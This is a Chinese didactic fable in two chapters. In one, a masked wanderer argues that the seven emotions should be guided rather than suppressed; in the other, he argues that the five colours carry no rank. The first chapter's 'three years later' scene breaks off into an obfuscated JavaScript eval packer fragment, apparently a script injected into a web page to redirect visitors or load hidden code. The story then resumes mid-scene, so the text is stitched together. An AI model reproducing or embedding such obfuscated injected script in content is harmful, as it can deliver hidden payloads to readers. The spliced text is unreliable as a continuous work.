宋守中放下书卷，捻须续道：“喜不可过喜，过喜则伤神。譬如中举登科，固当欢喜，然若狂喜无度，手舞足蹈，成何体统？怒不可过怒，过怒则伤肝。譬如遇不平事，固当愤慨，然若暴怒失态，言语无状，成何模样？哀不可过哀，过哀则伤心。譬如丧亲之痛，固当悲戚，然若哀毁骨立，茶饭不思，岂非不孝？惧不可过惧，过惧则伤胆。譬如遇险临危，固当惊惧，然若惶惶不可终日，畏首畏尾，岂是丈夫？” 他顿了顿，环视台下：“爱不可滥爱，滥爱则伤德。譬如爱子之心，人皆有之，然若溺爱无度，纵子为恶，岂非害子？恶不可妄恶，妄恶则伤仁。譬如恶人之行，固当鄙弃，然若迁怒无辜，牵连旁人，岂是君子？欲不可纵欲，纵欲则伤身。譬如饮食男女，人之大欲，然若纵情声色，饕餮无度，岂非自毁？” 众人听得入神。开茶馆的刘掌柜叹道：“宋先生说得是！人这七情，是该管着点。上个月东街王二麻子中了个小彩，喜得满街打滚，结果笑岔了气，躺了三天！” “可不是，”做点心的赵大娘接话，“西巷李铁匠，前日因价钱跟人争执，怒得砸了自家铁砧，手都伤了！” 宋守中面露得色，正待开口，戏台侧面传来一个温和的声音：“此言谬矣。” 众人循声望去，见戏台旁老槐树下立着一人。斗笠是用细竹与荷叶混编，檐边缀着几缕风干的蓼草。白衣是粗麻所制，虽旧却洁净，衣摆处打着整齐的补丁。腰间悬一柄木剑，剑柄缠着褪色的靛蓝布条。面上蒙着细葛面纱，只露出一双沉静如古井的眼睛。 宋守中眉头微皱：“这位兄台，谬在何处？” “曰喜怒，曰哀惧。爱恶欲，七情俱。”那人缓步走上戏台，对台下众人略一拱手，声音平和，“此话不错。然宋先生说‘情不可纵，亦不可抑，当以理节之，以礼约之，以道导之’，却是谬了。” “谬了？”宋守中不悦，“七情若水，不节则泛滥，不导则横流。以理节之，以礼约之，以道导之，有何不妥？” “情是水，不错。”那人道，“然水有水性，可疏不可堵，可导不可抑。以理节之，是以堤坝堵水；以礼约之，是以沟渠限水；以道导之，是以河道引水。堵则壅，限则滞，引则可，然强引亦成害。情之在人，当发而发，当止而止，发乎自然，止乎自然，岂可以理、礼、道强加节制？” 台下哗然。宋守中脸色一沉：“愿闻其详。” “喜是真情，为何不可过喜？”那人转向众人，“中举登科，十年寒窗，一朝得中，欣喜若狂，手舞足蹈，正是真情流露。若强作镇定，面无表情，是真情，还是假意？过喜伤神，不错。然伤神者是狂喜无度，非是喜之过，是度之失。当导其有度，非抑其喜。” “怒是义愤，为何不可过怒？”他又道，“遇不平事，义愤填膺，拍案而起，正是血性男儿。若强压怒火，忍气吞声，是明哲保身，还是懦弱无能？过怒伤肝，不错。然伤肝者是暴怒失控，非是怒之过，是控之失。当导其有控，非抑其怒。” “哀是至情，为何不可过哀？”他声音转柔，“丧亲之痛，肝肠寸断，茶饭不思，正是至情至性。若强作从容，谈笑如常，是孝，还是无情？过哀伤心，不错。然伤心者是哀毁逾礼，非是哀之过，是礼之失。当导其有节，非抑其哀。” “惧是常情，为何不可过惧？”他续道，“遇险临危，惊惧恐慌，人之常情。若强作镇定，面不改色，是勇敢，还是麻木？过惧伤胆，不错。然伤胆者是惶惶失据，非是惧之过，是据之失。当导其有据，非抑其惧。” 宋守中额角见汗：“那爱恶欲又当如何？” “爱是本性，为何不可滥爱？”那人道，“爱子之心，人皆有之。溺爱无度，纵子为恶，是爱之失度，非是爱之过。当导其有方，非抑其爱。恶是常情，为何不可妄恶？恶人之行，固当鄙弃，然迁怒无辜，是恶之失当，非是恶之过。当导其有当，非抑其恶。欲是天性，为何不可纵欲？饮食男女，人之大欲，纵情声色，是欲之失度，非是欲之过。当导其有度，非抑其欲。” 他转向宋守中：“宋先生，七情是人性，非是祸水。情不可纵，亦不可抑。纵则泛滥，抑则郁结。当发而发，当止而止，发乎自然，止乎自然。以理节之，是以理抑情；以礼约之，是以礼缚情；以道导之，是以道制情。此非修身，乃害性也。” 宋守中面色发白，强撑道：“你……你这是纵情之说！圣人有云：发乎情，止乎礼义……” “圣人云发乎情，止乎礼义，是谓情发乎自然，礼义是止之度，非是强加枷锁。”那人从怀中取出一卷竹简，展开示众，“此乃《礼记·乐记》篇：‘人生而静，天之性也；感于物而动，性之欲也。’又云：‘故圣人耐以天下为一家，以中国为一人者，非意之也，必知其情，辟于其义，明于其利，达于其患，然后能为之。’圣人明情、辟义、明利、达患，是导情，非抑情。若一味以理、礼、道强加节制，是谓‘以理杀人，以礼缚人，以道困人’。” 台下众人围观，果见竹简有载。 宋守中踉跄一步，扶住方桌，喃喃道：“发乎情，止乎礼义……是导非抑……” 众人哗然。有那明理的，叹道：“这位先生说得是！人非草木，孰能无情？喜就该喜，怒就该怒，强忍着，憋出病来！” “是啊，我爹去世时，我哭得昏天黑地，邻居劝我‘节哀’，可我心里痛，不哭出来更难受！” “上月我儿中童生，我喜得在院里翻了三个跟头，街坊说我‘失态’，可我心里欢喜，为何不能翻跟头？” 那人点头：“正是。七情是人性，发乎自然。当喜则喜，当怒则怒，当哀则哀，当惧则惧，当爱则爱，当恶则恶，当欲则欲。然喜有度，怒有控，哀有节，惧有据，爱有方，恶有当，欲有度。度、控、节、据、方、当、度，是导情之要，非抑情之枷。” 他转向宋守中：“宋先生教人以理节情、以礼约情、以道导情，是善心。然以理、礼、道为枷锁，强加节制，是过矣。情发乎自然，当导不当抑。强抑喜则伪，强抑怒则懦，强抑哀则冷，强抑惧则木，强抑爱则薄，强抑恶则滥，强抑欲则窒。此非修身养性，是害性伤身。” 宋守中冷汗涔涔，无言以对。 那人拱手道：“今日多言，望列位明理：喜怒哀惧爱恶欲，七情俱，是人性。情不可纵，纵则泛滥；亦不可抑，抑则郁结。当发而发，当止而止，发乎自然，止乎自然。导其有度、有控、有节、有据、有方、有当、有度，方是修身养性之道。” 说罢，转身欲下戏台。 “先生留步！”宋守中颤巍巍深揖一礼，“先生一席话，如晨钟暮鼓。宋某拘泥字句，以理杀人，以礼缚人，以道困人，误人误己。敢问先生高姓大名？” “我姓情，名真，字导之。” “情真导之……”宋守中喃喃，忽问，“先生这《礼记·乐记》篇，可否借某一观？” “可。”情真导之递过竹简，“此简可传阅，然需切记：七情是人，发乎自然。当导不当抑，当疏不当堵。以理、礼、道强加节制，是以枷锁缚人性，非是圣人之教。” 宋守中双手接过，如获至宝。 情真导之又对台下众人道：“道理在此，列位可思可悟。然需切记：口说七情，不如体察；口说导情，不如践行。喜怒哀惧，爱恶欲，皆在心头。体其真，导其宜，发其当，方是真性情。” 说罢，他戴上斗笠，走下戏台。荷叶斗笠在日光下泛着淡绿，粗麻白衣的下摆扫过台阶，不沾尘埃。 一、 宋守中的悔悟 情真导之走后，宋守中在戏台上呆立良久。他展开《礼记·乐记》篇，细读“人生而静，天之性也；感于物而动，性之欲也”、“必知其情，辟于其义，明于其利，达于其患，然后能为之”等语，又回想情真导之所言，越思越心惊。 “我误人子弟十五载啊！” 他想起自己讲书十五年，总以“以理节情、以礼约情、以道导情”为圭臬，教人强抑七情。见人狂喜，劝“喜不可过”；见人暴怒，劝“怒不可纵”；见人哀痛，劝“哀不可极”；见人恐惧，劝“惧不可过”；见人溺爱，劝“爱不可滥”；见人迁怒，劝“恶不可妄”；见人纵欲，劝“欲不可纵”。却不知，强抑喜则伪，强抑怒则懦，强抑哀则冷，强抑惧则木，强抑爱则薄，强抑恶则滥，强抑欲则窒。 “那位先生说得好，七情是人性，发乎自然。当导不当抑，当疏不当堵。我以理、礼、道为枷锁，强加节制，岂不是以理杀人、以礼缚人、以道困人？” 他羞愧难当，当即将《性理大全》收起，将《礼记·乐记》篇悬于戏台，对还未散去的众人深揖一礼。 “宋某拘泥字句，误人子弟。从今日起，宋某当闭门思过，重解七情，再不教人强抑性情！” 众人见他诚恳，便劝道：“宋先生知错能改，善莫大焉。只是这七情之道，咱们还想听正解。” 宋守中便道：“《礼记》在此，列位可随意观览。宋某每月朔望在此讲解，与列位共悟！” 从此，每逢朔望之日，宋守中便在戏台开讲七情新义。他不再说“以理节情、以礼约情、以道导情”，而是讲解七情之真、之导、之宜。他结合云梦镇实际，讲喜、怒、哀、惧、爱、恶、欲的发与止、导与宜。 “列位，喜是真情，当喜则喜。然喜有度，不可狂喜无度。譬如中举，可喜可贺，然若喜得手舞足蹈，是度之失。当导其有度，喜而不狂，是谓真喜。” “怒是义愤，当怒则怒。然怒有控，不可暴怒失控。譬如遇不平，可怒可斥，然若怒得砸物伤人，是控之失。当导其有控，怒而不暴，是谓真怒。” “哀是至情，当哀则哀。然哀有节，不可哀毁逾礼。譬如丧亲，可哀可痛，然若哀得茶饭不思，是节之失。当导其有节，哀而不毁，是谓真哀。” “惧是常情，当惧则惧。然惧有据，不可惶惶失据。譬如遇险，可惧可慌，然若惧得六神无主，是据之失。当导其有据，惧而不乱，是谓真惧。” “爱是本性，当爱则爱。然爱有方，不可溺爱无度。譬如爱子，可爱可疼，然若爱得纵子为恶，是方之失。当导其有方，爱而不溺，是谓真爱。” “恶是常情，当恶则恶。然恶有当，不可迁怒无辜。譬如恶人，可恶可鄙，然若恶得牵连旁人，是当之失。当导其有当，恶而不滥，是谓真恶。” “欲是天性，当欲则欲。然欲有度，不可纵欲无度。譬如食欲，可欲可求，然若欲得饕餮伤身，是度之失。当导其有度，欲而不纵，是谓真欲。” 他讲得通透，众人听得豁然开朗。有那曾因“强抑七情”而伪、而懦、而冷、而木、而薄、而滥、而窒的，感慨万千。 “原来七情，得这么发！” “是啊，喜是该喜，但不能狂；怒是该怒，但不能暴；哀是该哀，但不能毁；惧是该惧，但不能乱；爱是该爱，但不能溺；恶是该恶，但不能滥；欲是该欲，但不能纵。” “宋先生这么一讲，咱们就明白了！” 宋守中又在戏台旁立了块木牌，上书：“曰喜怒，曰哀惧。爱恶欲，七情俱。然喜有度，怒有控，哀有节，惧有据，爱有方，恶有当，欲有度。发乎自然，导乎其宜。” 二、 百姓的醒悟 宋守中在戏台讲七情新义，云梦镇的百姓渐渐醒悟。 从前，他们以为七情是祸水，得强压着：喜不能大笑，怒不能拍案，哀不能痛哭，惧不能失色，爱不能太浓，恶不能太显，欲不能太露。结果，喜憋成内伤，怒憋出病来，哀憋成郁结，惧憋成胆小，爱憋成冷淡，恶憋成虚伪，欲憋成扭曲。 如今，他们明白了：七情是人性，发乎自然。当喜则喜，当怒则怒，当哀则哀，当惧则惧，当爱则爱，当恶则恶，当欲则欲。然喜要有度，怒要有控，哀要有节，惧要有据，爱要有方，恶要有当，欲要有度。发乎自然，导乎其宜，方是真性情。 “原来七情，得这么处！” “可不是么！前街张书生中秀才，强忍着不笑，结果脸抽筋了！” “西巷王屠户被欺，强忍着不怒，结果吐了血！” “东市李婆婆丧子，强忍着不哭，结果病倒了！” “咱们呀，该笑就笑，该怒就怒，该哭就哭，该怕就怕，该爱就爱，该恶就恶，该欲就欲，只要不过分，就是真性情！” 有那吃过亏的，现身说法，劝人莫要“强抑七情”。有那开明的，开始践行“发乎自然，导乎其宜”的新道。 喜时开怀笑，但不过度；怒时拍案起，但不失控；哀时放声哭，但不久溺；惧时脸色变，但不慌乱；爱时真心待，但不溺纵；恶时明确弃，但不迁怒；欲时正当求，但不放纵。 镇上的风气，为之一新。强抑的少了，自然的多了；虚伪的少了，真诚的多了。 宋守中在戏台，将百姓践行七情新道的事一一记录，成《云梦七情新事》。他携此册，奔走于乡邻之间，倡行“发乎自然，导乎其宜”之道。 乡邻们见宋守中变了，也渐改前非。有那曾因“强抑喜”憋出病的，如今喜时畅笑，但不过度；有那曾因“强抑怒”吐血的，如今怒时发火，但不失控；有那曾因“强抑哀”病倒的，如今哀时痛哭，但不久溺；有那曾因“强抑惧”胆小的，如今惧时失色，但不慌乱；有那曾因“强抑爱”冷淡的，如今爱时热情，但不溺纵；有那曾因“强抑恶”虚伪的，如今恶时明示，但不迁怒；有那曾因“强抑欲”扭曲的，如今欲时正当求，但不放纵。 七情新道，渐入人心。 三、 《礼记》的流传 宋守中倡七情新道之事，渐传周边。附近乡镇的讲书先生、乡塾夫子，闻讯来云梦镇取经。宋守中便将《礼记·乐记》篇借出传抄，更将《云梦七情新事》广为散发。 “七情是人，发乎自然。此理通行天下。” “喜有度，怒有控，哀有节，惧有据，爱有方，恶有当，欲有度。发乎自然，导乎其宜。” “云梦新事，可供参考。但各人性情不同，当因性制宜。” 抄书者、传册者，回去后亦在本地宣讲。有那开明的讲书先生、乡塾夫子，亦加入其中。一时间，“七情是人，发乎自然，导乎其宜”之道，传遍州县。 有那固执的老学究，初闻此道，斥为“纵情之说”。但见百姓践行，身心康泰，也渐改观念。有那曾因强抑七情致病的，闻此道如获至宝。 情真导之的名声，渐渐在州县传开。都说有位戴荷叶斗笠、蒙细葛的高人，深明七情，点破迷障，使人明“七情是人，发乎自然”之理，知“发乎自然，导乎其宜”之道。 四、 三年后的望日 三年后的一个望日，戏台下又挤满了人。不仅有云梦镇的百姓，还有周边乡镇的乡民。 宋守中正在讲解“曰喜怒，曰哀惧。爱恶欲，七情俱”。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好。”情真导之点头，“知七情是人，则不抑不伪；知发乎自然，则不憋不郁；知导乎其宜，则不狂不滥。此乃百姓之福，性情之真。” 他又问：“然七情之发，易入两歧：一曰过，二曰不及。过喜则狂，不及喜则伪；过怒则暴，不及怒则懦；过哀则毁，不及哀则冷；过惧则乱，不及惧则木；过爱则溺，不及爱则薄；过恶则滥，不及恶则伪；过欲则纵，不及欲则窒。此又当如何？” 众人肃然。宋守中道：“先生所言极是！七情之发，贵在中和。喜不狂不伪，怒不暴不懦，哀不毁不冷，惧不乱不木，爱不溺不薄，恶不滥不伪，欲不纵不窒。此所谓‘发而皆中节’，方是正道。” “正是。”情真导之道，“七情如琴弦，过紧则易断，过松则无声。松紧得宜，方成雅音。喜、怒、哀、惧、爱、恶、欲，亦当如是。不狂不伪，不暴不懦，不毁不冷，不乱不木，不溺不薄，不滥不伪，不纵不窒，发乎自然，止乎自然，方是真性情。” 他转向众人：“列位当谨记：喜时当喜，然不过度；怒时当怒，然不失控；哀时当哀，然不久溺；惧时当惧，然不慌乱；爱时当爱，然不溺纵；恶时当恶，然不迁怒；欲时当欲，然不放纵。发乎本心，导乎其宜，方是性情之正。” 众人齐声道：“谨记先生教诲！” 情真导之从怀中取出一卷书，递给宋守中：“此乃《七情导宜录》，是我游历各地，记录七情得失、过与不及之鉴所编。你可传抄于众，供百姓参考。” 宋守中双手接过，如获至宝。 情真导之又对众人道：“此书可参阅，但需切记：七情之道，在体不在说。说得天花乱坠，不如体得本心。喜怒哀惧，爱恶欲，皆在心头。体其真，发其宜，导其中，方是真修养。” 说罢，他戴上斗笠，走入人群。荷叶斗笠在夕阳下泛着金绿，粗麻白衣的下摆扫过尘土，不染纤尘。 宋守中对着那背影深深一揖，久久不起。 百姓们也纷纷作揖。 尾声七情谣 多年后，云梦镇的孩童玩耍时，会唱一首童谣： 喜怒哀惧爱恶欲，七情俱是人本性。 宋生强抑教人伪，百姓憋屈成病身。 情真先生来点化，七情发乎本自然。 当喜则喜当怒怒，当哀则哀当惧惧。 当爱则爱当恶恶，当欲则欲不过度。 从此云梦多真情，百姓康泰乐融融。 有外乡人听了，问镇里老人：“这情真先生是何人？” 老人便会指着戏台说：“是位教人明七情、知发导的先生。他来了，宋先生知错了，百姓醒悟了，咱们镇知道七情是人、发乎自然了。” “他现在何处？” “不知道。教完道理，他就走了。” “还会回来么？” “等咱们又强抑性情、虚伪度日的时候，他大概就会回来吧。” 外乡人若有所思，走到戏台旁。台旁悬着《礼记·乐记》篇与《云梦七情新事》，木牌上刻着那十二字：“曰喜怒，曰哀惧。爱恶欲，七情俱。”下面还有一行小字：“然喜有度，怒有控，哀有节，惧有据，爱有方，恶有当，欲有度。发乎自然，导乎其宜。” 也许那位情真先生，正在某个地方，看人抒七情、发本性吧。他想。 他走出集市，暮色四合。茶馆里传出笑声，铁铺里传来怒斥，谁家院中飘出哀乐，巷口孩童惊叫奔跑，夫妻相携而行，路人怒目相视，食肆飘出饭香。七情之发，看似寻常，实则就在这笑声怒斥、哀乐惊叫、相携怒目、饭香之中。 本章诫世 一、 七情真义训 - 曰喜怒，曰哀惧。爱恶欲，七情俱 - 破解法：为学者，自问“可强抑七情？可知情是人？可曾发乎自然？”；为民者，自问“可憋屈性情？可知情当发？可曾导乎其宜？” 二、 三谬三正 - 宋守中之谬在“强抑”——以理、礼、道为枷锁，强抑七情 - 世俗之谬在“虚伪”——强抑七情，表面从容，内心憋屈 - 百姓之谬在“病郁”——强抑七情，致伪、致懦、致冷、致木、致薄、致滥、致窒 - 三正：宋守中倡七情新道，百姓明发乎自然，云梦行导乎其宜 三、 导之大道 - 深层隐喻：喜怒哀惧爱恶欲，七情俱，是人，发乎自然。情不可纵，纵则泛滥；亦不可抑，抑则郁结。当发而发，当止而止，发乎自然，止乎自然。导其有度、有控、有节、有据、有方、有当、有度，方是性情之正。强抑七情，是以理杀人、以礼缚人、以道困人；放纵七情，是以情害性、以欲伤身。发乎本心，导乎其宜，方是真修养 - 终极指向：世人处情，易入两歧：一曰强抑，二曰放纵。强抑则伪，放纵则狂。七情是人，发乎自然，当发则发，当止则止。发有度，怒有控，哀有节，惧有据，爱有方，恶有当，欲有度。不抑不纵，不狂不伪，发而中节，止而合宜，方是性情之正。情在体，不在说；在发，不在抑；在导，不在纵 七情偈： 云梦戏台宋守中，强抑七情教人伪。 喜怒哀惧爱恶欲，百姓憋屈成病身。 情真先生来点化，七情发乎本自然。 从此发导皆合宜，百姓康泰乐融融。 后世叹： 曰喜怒，曰哀惧，爱恶欲，七情俱。 宋生强抑成枷锁，百姓虚伪病郁生。 情真先生来点化，七情发乎本自然。 三载发导新气象，云梦百姓性情真。 正是： 云梦戏台讲七情，宋生强抑教人伪。 喜怒哀惧皆枷锁，爱恶欲望尽牢笼。 情真先生来点破，七情发乎本自然。 从此不抑亦不纵，百姓性情得畅舒。 105.五色谳 楔子·染坊悖论 流霞镇西街有家“锦绣坊”，主人赵守正，世代以染织为业。每逢旬日，赵守正便在染坊门口设坛开讲“五色之理”。这日正是初十，坊前空地上已摆开十数口染缸，青、赤、黄、白、黑五色布匹挂满竹架，在晨光中斑斓夺目。赵守正身穿靛蓝葛袍，手持一册《染经》，对围观的百姓朗声道： “……故曰：天地有五色，青、赤、黄、白、黑。此五色，目所识，乃造化之正色。青为东方之色，主生发；赤为南方之色，主炽盛；黄为中央之色，主中和；黑为北方之色，主敛藏；白为西方之色，主肃杀。此乃天经地义，万世不易之理也！” 围观者多是些市井百姓，有织布的、染衣的、刺绣的、卖布的，听得频频点头。 赵守正捻须续道：“故而染色之道，当遵五方正色。男子衣青、赤、黄，示阳刚；女子衣白、黑，示阴柔。老者衣青、黑，示持重；幼者衣赤、黄，示活泼。士人衣青、白，示清正；商贾衣赤、黄，示兴旺。此乃礼制所定，不可僭越！” 他指着染缸道：“譬如这青，必得以蓼蓝三浸三晒，方成上品。赤必得茜草九蒸九煮，方得正色。黄必得栀子七泡七漂，方见明艳。白必得日光九曝九洗，方显纯净。黑必得五倍子三煮三沤，方呈沉厚。工序一丝不可减，火候一毫不可差，方是正色正法！” 人群中卖布的周掌柜叹道：“赵师傅说得是！咱们染布几十年，从不敢乱了工序。前街王裁缝给姑娘做了件赤色襦裙，被族长训斥‘女子着赤，不守妇道’，生生拆了重染！” 染工老李附和道：“上月东市陈秀才做了件黑衣赴考，被人说‘士人着黑，不吉’，硬是换成了白衣！” 赵守正面露得色，正要再言，坊前老槐树下传来一个清越的声音：“此言差矣。” 众人望去，见树荫下立着一人。斗笠是细竹与桑皮混编，檐边垂着几缕风干的藤萝。白衣是粗苎所制，虽旧却洁净，衣摆处有细密的靛蓝补丁。腰间悬一柄木剑，剑穗是褪色的五色丝绦。面上蒙着本色麻纱，只露出一双明澈如秋水洗过的眼睛。 赵守正眉头微皱：“这位兄台，差在何处？” “青赤黄，及黑白。此五色，目所识。”那人缓步走出树荫，对众人略一拱手，“此言不错。然赵师傅说‘五色各有主属，染色必遵正法，衣色必合身份’，却是错了。” “错了？”赵守正不悦，“五色分属五行四方，男女老幼、士农工商各有所宜，此乃古礼所定，岂能有错？” “五色是色，目所识，是实。”那人道，“然色是色，目所见耳。青是青，赤是赤，黄是黄，白是白，黑是黑，本无贵贱，本无主属，本无吉凶。人以目识色，以色染物，以物饰身，本乎自然。强分五行四方，强定男女老幼，强判士农工商，是人为之枷锁，非色之本然。” 他走到染缸前，指着一缸靛青：“赵师傅说青必得以蓼蓝三浸三晒，方成上品。然我见西南山中，有靛草一浸即青，其色沉郁；东南水畔，有蓝草九浸方碧，其色明艳。同是青色，因地而异，因材而变，岂可必以蓼蓝三浸三晒为定法？” 又指赤缸：“赤必得茜草九蒸九煮？我见北地有红花，一蒸即赤，其色热烈；南疆有苏木，不蒸不煮，渍汁即红，其色沉静。同是赤色，因物而异，因法而变，岂可必以茜草九蒸九煮为定则？” 再指黄缸：“黄必得栀子七泡七漂？我见西域有姜黄，一泡即黄，其色鲜亮；东土有黄栌，晒干即黄，其色温润。同是黄色，因材而异，因时而变，岂可必以栀子七泡七漂为铁律？” 他转向众人：“至于白必得日光九曝九洗，黑必得五倍子三煮三沤，更是拘泥。棉麻本白，何以必九曝？炭烟本黑，何以必三沤？色在物中，法在人为，因材施法，因时制宜，方是染色之道。强定工序，强求火候，是舍本逐末。” 赵守正面色微变：“那衣色之分……” “衣色之分，更是荒谬。”那人声音平和，“男子衣青赤黄，女子衣白黑？我见塞北女子着赤衣策马，英气逼人；江南男子着白衣泛舟，飘逸出尘。老者衣青黑，幼者衣赤黄？我见耄耋老翁着黄衫弈棋，神采奕奕；垂髫童子着黑袍习字，沉稳端方。士人衣青白，商贾衣赤黄？我见寒士着赤袍苦读，志气昂然；富商着素服行善，清雅高洁。色只是色，衣只是衣。以色定人，以色判人，是以色为牢，以衣为枷。” 他转向赵守正：“赵师傅，五色是造化所赐，目所识，是自然。染色之道，在得色，不在固法；衣色之宜，在合体，不在合礼。强分五行四方，是以虚妄缚实相；强定男女老幼，是以偏见限天性；强判士农工商，是以俗见困人心。此非守礼，乃悖自然也。” 赵守正额角见汗，强撑道：“你……你这是悖逆古礼！《礼记》有云：‘衣正色，裳间色。’正色为尊，间色为卑，此乃礼制！” “《礼记》所云‘正色’，是言染色当得正色，非是言衣色当分贵贱。”那人从怀中取出一卷帛书，展开示众，“此乃《周礼·考工记》篇：‘青与赤谓之文，赤与白谓之章，白与黑谓之黼，黑与青谓之黻。五采备谓之绣。’又云：‘画缋之事，杂五色。’五色相杂而成文绣，何来尊卑？《论语》亦云：‘君子不以绀緅饰，红紫不以为亵服。’是言服色当合礼，非是言色有贵贱。色本无贵贱，人以心分之耳。” 众人围观，果见帛书有载。 赵守正踉跄一步，扶住染缸，喃喃道：“五色相杂而成文绣……色本无贵贱……” 人群中哗然。有那明理的染工叹道：“这位先生说得是！我老家在西南，那儿染青就用靛草，一浸就成，哪要三浸三晒！” “咱们北地染赤，用红花最便，一蒸就行，何必九蒸九煮？” “我是跑西域的，那边染黄都用姜黄，简单得很！” “可不是么！我闺女就爱穿赤色，精神！非要她穿白穿黑，死气沉沉！” 那人点头：“正是。五色是色，本无贵贱。染色之法，因地而异，因材而变。衣色之宜，因人而异，因心而择。强分五行四方，是以虚妄缚实；强定男女老幼，是以偏见限人；强判士农工商，是以俗见困心。色是造化，目所识，心所用，当顺其自然，合宜为美。” 他转向赵守正：“赵师傅精于染色，是匠心。然以古礼为枷锁，强分色之贵贱，强定染之法度，强判衣之宜忌，是过矣。染色不因地因材制宜，是呆染；衣色不因心因体择宜，是愚着。此非守礼重色，乃悖逆自然也。” 赵守正冷汗涔涔，无言以对。 那人拱手道：“今日多言，望列位明理：青赤黄及黑白，此五色，目所识。色是色，本无贵贱。染色当因地因材制宜，衣色当因心因体择宜。顺其自然，合宜为美，方是造化之道。” 说罢，转身欲走。 “先生留步！”赵守正颤巍巍深揖一礼，“先生一席话，如霹雳惊蛰。赵某拘泥古礼，以虚妄缚实，以偏见限人，以俗见困心，误己误人。敢问先生高姓大名？” “我姓色，名真，字宜之。” “色真宜之……”赵守正喃喃，忽问，“先生这《周礼·考工记》篇，可否借某一观？” “可。”色真宜之递过帛书，“此帛可传阅，然需切记：五色是造化，目所识，心所用。染色在得色，不在固法；衣色在合体，不在合礼。强分贵贱，强定宜忌，是以虚妄缚自然，非是古礼本意。” 赵守正双手接过，如获至宝。 色真宜之又对众人道：“道理在此，列位可思可悟。然需切记：口说五色，不如亲染；口说合宜，不如亲择。青赤黄白黑，皆在眼前。观其真，染其宜，着其美，方是真知。” 说罢，他戴上斗笠，转身离去。桑皮斗笠在晨光中泛着淡金，粗苎白衣的下摆扫过染坊前湿润的青石板，不沾半点染料。 一、 赵守正的悔悟 色真宜之走后，赵守正在染坊前呆立良久。他展开《周礼·考工记》篇，细读“青与赤谓之文，赤与白谓之章，白与黑谓之黼，黑与青谓之黻。五采备谓之绣”、“画缋之事，杂五色”等语，又回想色真宜之所言，越思越心惊。 “我误人误己三十载啊！” 他想起自己执掌染坊三十年，总以“五色各有主属，染色必遵正法，衣色必合身份”为圭臬。见人染青不按三浸三晒，便斥为“不正”；见人衣色不合身份，便讥为“僭越”。有姑娘爱穿赤色，他劝“女子着赤，不守妇道”；有士人着黑衣，他劝“士人着黑，不吉”；有老者着黄衫，他劝“老者着黄，不庄”；有孩童着黑袍，他劝“幼者着黑，不祥”。却不知，色只是色，衣只是衣。以色定人，以色判人，是以色为牢，以衣为枷。 “那位先生说得好，五色是造化所赐，目所识，是自然。染色之道，在得色，不在固法；衣色之宜，在合体，不在合礼。我强分五行四方，强定男女老幼，强判士农工商，岂不是以虚妄缚实相、以偏见限天性、以俗见困人心？” 他羞愧难当，当即将《染经》收起，将《周礼·考工记》篇悬于染坊，对还未散去的众人深揖一礼。 “赵某拘泥古礼，误人误己。从今日起，赵某当闭门思过，重研染色，再不固守成法、强分贵贱！” 众人见他诚恳，便劝道：“赵师傅知错能改，善莫大焉。只是这五色之道，咱们还想听正解。” 赵守中便道：“《周礼》在此，列位可随意观览。赵某每旬在此讲解，与列位共悟！” 从此，每逢旬日，赵守正便在染坊开讲五色新义。他不再说“五色各有主属，染色必遵正法，衣色必合身份”，而是讲解五色之真、之染、之宜。他结合流霞镇实际，讲青、赤、黄、白、黑的染法之变、衣色之择。 “列位，青是青色，本无贵贱。染青之法，因地而异。西南靛草一浸即青，东南蓝草九浸方碧。当因材施法，得色为要，不必拘泥三浸三晒。” “赤是赤色，本无吉凶。染赤之法，因物而变。北地红花一蒸即赤，南疆苏木渍汁即红。当因材施法，得色为要，不必拘泥九蒸九煮。” “黄是黄色，本无尊卑。染黄之法，因材而异。西域姜黄一泡即黄，东土黄栌晒干即黄。当因材施法，得色为要，不必拘泥七泡七漂。” “白是白色，本无雅俗。得白之道，因物而宜。棉麻本白，不必九曝；绢纱本白，不必九洗。顺其自然，洁净为要。” “黑是黑色，本无祥晦。得黑之道，因材而变。五倍子可染，炭烟亦可染。当因材施法，沉厚为要，不必拘泥三煮三沤。” 他顿了顿，续道：“至于衣色，更无定规。男子可着赤，女子可着青，老者可着黄，幼者可着黑，士人可着赤，商贾可着白。色只是色，衣只是衣。着衣在合体，在合心，在合宜，不在合礼。赤衣可显精神，白衣可显清雅，黑衣可显沉稳，青衣可显生机，黄衣可显明快。各随所好，各取所宜，方是衣道。” 他讲得通透，众人听得豁然开朗。有那曾因“衣色不合身份”被训斥、被讥笑的，感慨万千。 “原来五色，得这么看！” “是啊，染色得看材料，不能光按古法；穿衣得看自己，不能光按身份！” “赵师傅这么一讲，咱们就明白了！” 赵守正在染坊前立了块木牌，上书：“青赤黄，及黑白。此五色，目所识。然色本无贵贱，染法当因地因材制宜，衣色当因心因体择宜。顺其自然，合宜为美。” 二、 百姓的醒悟 赵守正在染坊讲五色新义，流霞镇的百姓渐渐醒悟。 从前，他们以为五色有贵贱、有主属、有吉凶：青是东方色，男子衣；赤是南方色，商贾衣；黄是中央色，老者慎衣；白是西方色，女子衣；黑是北方色，士人忌衣。染色必遵古法，衣色必合身份。结果，染布呆板，衣色拘束，人受其困。 如今，他们明白了：五色只是色，目所识，本无贵贱。染色之法，因地而异，因材而变；衣色之宜，因人而异，因心而择。赤衣可精神，白衣可清雅，黑衣可沉稳，青衣可生机，黄衣可明快。各随所好，各取所宜，方是自然。 “原来五色，得这么用！” “可不是么！我娘子就爱穿赤色，精神！从前不敢穿，现在天天穿！” “我爹七十了，就爱穿黄衫，显年轻！从前不敢穿，现在随便穿！” “我是读书人，就爱穿黑衣，沉稳！从前不敢穿，现在大胆穿！” “咱们染布，也看材料，西南来的靛草就一浸，本地的蓝草就多浸几遍，省时省力！” 有那吃过亏的，现身说法，劝人莫要“固守染法”、“强分衣色”。有那开明的，开始践行“因地因材制宜”、“因心因体择宜”的新道。 染布的，看材料定染法，不拘古方；穿衣的，看喜好择颜色，不拘身份。 镇上的风气，为之一新。呆板的少了，灵活的多了；拘束的少了，自在的多了。 赵守正在染坊，将百姓践行五色新道的事一一记录，成《流霞五色新事》。他携此册，奔走于乡邻之间，倡行“因地因材制宜”、“因心因体择宜”之道。 乡邻们见赵守正变了，也渐改前非。有那曾因“固守染法”费时费力的，如今看材料染布，省时省力；有那曾因“强分衣色”不敢穿心爱颜色的，如今随心择衣，精神焕发。 